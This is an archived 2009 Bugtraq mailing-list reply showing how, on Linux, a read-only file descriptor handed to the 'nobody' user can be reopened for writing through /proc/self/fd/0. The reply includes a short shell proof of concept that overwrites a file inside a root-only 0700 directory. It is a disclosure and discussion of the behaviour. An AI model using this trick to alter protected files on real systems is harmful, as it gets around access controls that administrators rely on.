bugtraq - Re: /proc filesystem allows bypassing directory permissions on Linux

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

Message-ID: <20091029201048.GA13241@psychosis.jim.sh>
Date: Thu, 29 Oct 2009 16:10:48 -0400
From: Jim Paris <jim@...n.com>
To: Pavel Machek <pavel@....cz>
Cc: Dan Yefimov <dan@...htwave.net.ru>, bugtraq@...urityfocus.com
Subject: Re: /proc filesystem allows bypassing directory permissions on
	Linux

> > 0700 mode from the origin, you would be right, and procfs wouldn't allow 
> > opening files in that directory too, but if you let others to traverse 
> > that directory and open your believed to be secure files from the origin, 
> > it's your fault.
> 
> I can do the example with fd passing and 700 directory, but it would
> be lot of C code. Feel free to play, my example was not nearly the
> only way to demonstrate it, and no, it was not racy.

Here is an example that shows the behavior where a passed read-only fd
can become read-write by reopening it through /proc, when file
permissions allow it (but directory permissions do not):

  $ sudo su
  # mkdir -m 0700 /dir
  # echo "safe" > /dir/file.txt
  # chmod 0666 /dir/file.txt
  # ls -al /dir
  total 12
  drwx------  2 root root 4096 2009-10-29 00:28 .
  drwxr-xr-x 27 root root 4096 2009-10-29 00:28 ..
  -rw-rw-rw-  1 root root    7 2009-10-29 00:43 file.txt
  # cat /dir/file.txt
  safe

Now user "nobody" cannot read or write this file:

  # su nobody -c 'cat /dir/file.txt'
  sh: /dir/file.txt: Permission denied
  # su nobody -c 'echo "hacked" > /dir/file.txt'
  sh: /dir/file.txt: Permission denied
  # cat /dir/file.txt
  safe

If we provide an open read-only file descriptor (as stdin, fd 0), they
can read it:

  # su nobody -c 'cat <&0' < /dir/file.txt
  safe

But they still can't write to this descriptor:

  # su nobody -c 'echo "hacked" >&0' < /dir/file.txt
  sh: line 0: echo: write error: Bad file descriptor

Unless we re-open the file using the magic link in /proc:

  # su nobody -c 'echo "hacked" >/proc/self/fd/0' < /dir/file.txt
  # cat /dir/file.txt
  hacked

Again, debatable whether this is a bug, but it's certainly
non-obvious.  There is no other way (that I'm aware) for the "nobody"
user to gain write access to /dir/file.txt, even when given a
read-only fd, without using /proc.

-jim